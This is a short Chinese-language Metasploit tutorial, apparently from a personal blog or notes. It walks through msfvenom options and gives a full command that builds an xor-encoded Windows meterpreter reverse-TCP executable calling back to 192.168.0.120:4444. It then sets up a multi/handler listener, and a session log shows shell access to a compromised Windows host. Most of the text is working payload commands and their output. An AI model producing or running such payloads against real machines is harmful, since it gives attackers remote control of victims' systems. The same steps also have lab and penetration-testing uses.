msfvenom常用参数大概就是-p (payload) ,-e(encoder),-i(encoder次数),-o(输出路径),-f(输出文件类型)。
简单生成一个反弹tcp的exe文件,使用编码方式是xor:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.0.120 LPORT=4444 -e xor -i 5 -f exe -o /test.exe
打开msfconsole,
use exploit/multi/handler
设置payload,
set payload windows/meterpreter/reverse_tcp
show info和show options显示不同,用options显示需要的参数。
接下来用set LHOST等设置ip,端口,run执行监听。
连接成功以后,用sessions -l显示连接,sessions -<id>进入连接
msf exploit(handler) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows WIN-76353R2J6TB\lc @ WIN-76353R2J6TB 192.168.0.120:4444 -> 192.168.0.107:49282 (192.168.0.107)
进入以后使用命令和help可以查看帮助,background可以退出挂起
meterpreter > pwd
C:\Users\lc\Downloads
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) >